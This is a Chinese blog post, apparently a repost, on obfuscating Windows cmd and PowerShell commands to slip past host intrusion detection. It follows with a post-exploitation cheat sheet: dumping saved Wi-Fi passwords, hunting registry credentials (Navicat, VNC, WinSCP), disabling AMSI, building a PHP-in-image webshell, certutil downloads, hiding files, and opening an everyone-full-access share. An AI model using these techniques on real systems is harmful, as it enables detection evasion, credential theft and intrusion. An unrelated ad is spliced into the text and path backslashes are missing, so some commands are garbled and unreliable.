前言
之前一位朋友提到,客服的hids设备执行whoami命令时会被检测到,无论是使用wh”o”aM^i还是cmd /c “,;((w^h^o^a^M^i))”,都无法逃避检测,于是向我求助。既然提到了这个问题,我在这里简单总结一下我自己的几种方法,但会的方法相对较少,后续会补充几个常用的cmd/powershell命令。
技巧(1)特殊符号/大小写
我们可以利用”双引号,^尖角号,括号,逗号,分号等符号来绕过一些常规检测。

也可以使用一些非主流的特殊字符串,例如certutil /⸿split -urlcache -f https://www.php.cn/link/1171d78d0d618b225dfa50bc2ebb2399 axgg.txt

(2)环境变量
当我们获取一台机器后,可以先用set命令查看有哪些环境变量。

例如,%comspec:~3,1%hoa%comspec:~21,1%i,使用环境变量中的字母替换了w和m。

稍微解释一下,这里使用环境变量截取第三位和第二十一位的w和m来绕过检测。当然,我们也可以自己设置环境变量来达到绕过目的,例如set a=cmd /c whoami%a%。环境变量也可以与我们的特殊符号结合使用,”双引号,^尖角号,括号,逗号,分号等组合在一起,达到同样的效果,例如cmd /c “ set a1=ser&& set a2=ne&& set a3=t u&&call echo %a2%%a3%%a1%”^c^M^D, , , , /^c”, ,(, , , , , (s^et ^ w^3=i^pco) , )&& (S^Et ^ eH^P=n^fig)& , , C^aLl, sE^t GyHE=%w^3%%eH^P%& , , %LoCaLAPpdata:~ -3,+1%%pRoGramw6432:~9,1%d, ,/^R, , %Gy^HE%”

(3)for循环
单独使用for循环可能效果有限,但可以尝试。
for /f “tokens=4 delims=” %f in (“c:windowssystem32whoami”) do %f
这里,delims是以分割,tokens是第几次分割,我们的第四次分割就是whoami,然后打印。

(4)利用powershell
可以利用powershell的base64编码。

当然,还可以尝试fuzzing低版本的powershell,例如powershell -version 3/2/1。利用windows的api,例如Get-WmiObject -Class Win32_UserAccount,也可以使用前面的特殊符号和环境变量来绕过检测。

利用注册表,例如dir “Registry::HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers” -Name。

既然提到了powershell,这里简单提一下powershell的混淆思路,我直接截图,比较简陋。
腾讯混元
腾讯混元大由腾讯研发的大语言模型,具备强大的中文创作能力、逻辑推理能力,以及可靠的任务执行能力。
65 查看详情

(5)运用工具
Dosfuscation
Invoke-DOSfuscation //启动
TUTORIAL //开启模块
SET COMMAND whoami //加密你想执行的命令

关于cmd/powershell平时会用到的一些命令
(1)主机信息
代码语言:javascript
代码运行次数:0
运行
复制
qwinsta //查看在线用户wmic logicaldisk where DriveType=3 get DeviceID //查看系统的盘符wmic useraccount get name,sid //查看所有用户的sidcacls c: //查看c盘的权限配额cacls c:windowsma.exe //查看ma.exe的权限配置icacls C:Windows //查看文件的ACL情况nbtstat -A 127.0.0.1 //查看其他主机的bios名Get-WmiObject -class win32_product |Select-Object -Property name,version:收集主机的软件版本信息(Get-ItemProperty -Path "Registry::HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers192.168.149.135").UsernameHint //本机哪个用户登陆了此IPGet-WinEvent -FilterHashtable @{logname="Application";} 查看application日志Get-CimInstance Win32_DCOMApplication //查看DCOM文件
(2)横向信息
代码语言:javascript
代码运行次数:0
运行
复制
netsh wlan show profile //查看连结过的wifinetsh wlan show profile WiFi-name key=clear 获取对应 wifi 的密码ie 代理 //对应wifi的密码for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear //所有wifi密码for /l %i in (1,1,255) do @ping 172.16.0.%i -w 1 -n 1 | find “TTL=” //windows自带的网段扫描for /l %a in (0,1,2) do cmd /c "choice /t 7 /d y /n >nul" & for /l %b in (1,1,255) do start cmd /c "ping 172.29.%a.%b -l 1 -n 1 -i 1 >172.29.%a.%b.txt" //多线程版findstr /s /m "password" *.* //查找当前目录的子目录的所有含有password的文件夹dir c:a.txt /s /b //查找c盘的a.txt Get-Content (Get-PSReadlineOption).HistorySavePath //powershell命令历史记录,如果命令用不起,可以查看powershell的txt%userprofile%AppDataRoamingMicrosoftWindowsPowerShellPSReadlineConsoleHost_history.txt%appdata%MicrosoftWindowsPowerShellPSReadlineConsoleHost_history.txt注册表HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers 这个为当前用户的mstsc的记录,username为用户名HKEY_CURRENT_USERSoftwareMicrosoftWindows ScriptSettingsAmsiEnable 禁用AMSI(需要高权限)HKEY_CURRENT_USERSoftwarePremiumSoftNavicatServers MYSQLHKEY_CURRENT_USERSoftwarePremiumSoftNavicatMARIADBServers MariaDBHKEY_CURRENT_USERSoftwarePremiumSoftNavicatMONGODBServers MongoDBHKEY_CURRENT_USERSoftwarePremiumSoftNavicatMSSQLServers Microsoft SQLHKEY_CURRENT_USERSoftwarePremiumSoftNavicatOraServers OracleHKEY_CURRENT_USERSoftwarePremiumSoftNavicatPGServers PostgreSQLHKEY_CURRENT_USERSoftwarePremiumSoftNavicatSQLiteServers SQLiteHKEY_LOCAL_MACHINESOFTWARERealVNCvncserver RealVNCHKEY_CURRENT_USERSoftwareTightVNCServer Value //TightVNCHKEY_LOCAL_USERSoftwareTigerVNCWinVNC4 TigerVNCHKCUSoftwareMartin PrikrylWinSCP 2Sessions WinSCPreg query "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerUser Shell Folders" /s //查看桌面目录reg query 计算机HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerTypedURLs //查看浏览记录查找本机所有有关密码的字段reg query HKCU /f password /t REG_SZ /sreg query HKLM /f password /t REG_SZ /s

代码语言:javascript
代码运行次数:0
运行
复制
copy x.jpg/b+12.php 3.jpg //制作一句话iexpress //windows自带的解压命令makecab.exe //windows自带的压缩命令makecab 1.doc 1.zip //压缩成啥看自己,zip,rar,cabexpand 1.zip 1.doc //解压命令dir /b >>name.txt //先把要解压的多个文件名写入txtmakecab /f name.txt /d maxdisksize=1024000 //然后压缩expand 1.cab -f:* c:test //然后解压set http_proxy=http://127.0.0.1:1080 //给cmd代理secpol.msc //打开本地安全策略taskkill /pid 1080 /f //关闭进程copy *.txt 1.txt type 1.txt //将该目录下的所有txt复制到1.txt,然后查看1.txtmstsc /admin /v:ip mstsc /console /v:ip //远程连接certutil.exe -hashfile 1.txt //计算文件hashattrib C:test.exe +s +h //隐藏exe>>b.txt set/p="123" >追加下一个字符串自动换行,绕过/n的限制net share everyone=C:Windows /grant:everyone,full //开启共享echo 123 > axgg::$INDEX_ALLOCATION //文件流创建文件rd axgg::$INDEX_ALLOCATION //删除改文件
后记
若文章有错误亦或者遗漏的技巧,还望各位师傅斧正和补充。
以上就是浅谈命令混淆的详细内容,更多请关注创想鸟其它相关文章!
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 chuangxiangniao@163.com 举报,一经查实,本站将立刻删除。
发布者:程序猿,转转请注明出处:https://www.chuangxiangniao.com/p/432466.html
微信扫一扫
支付宝扫一扫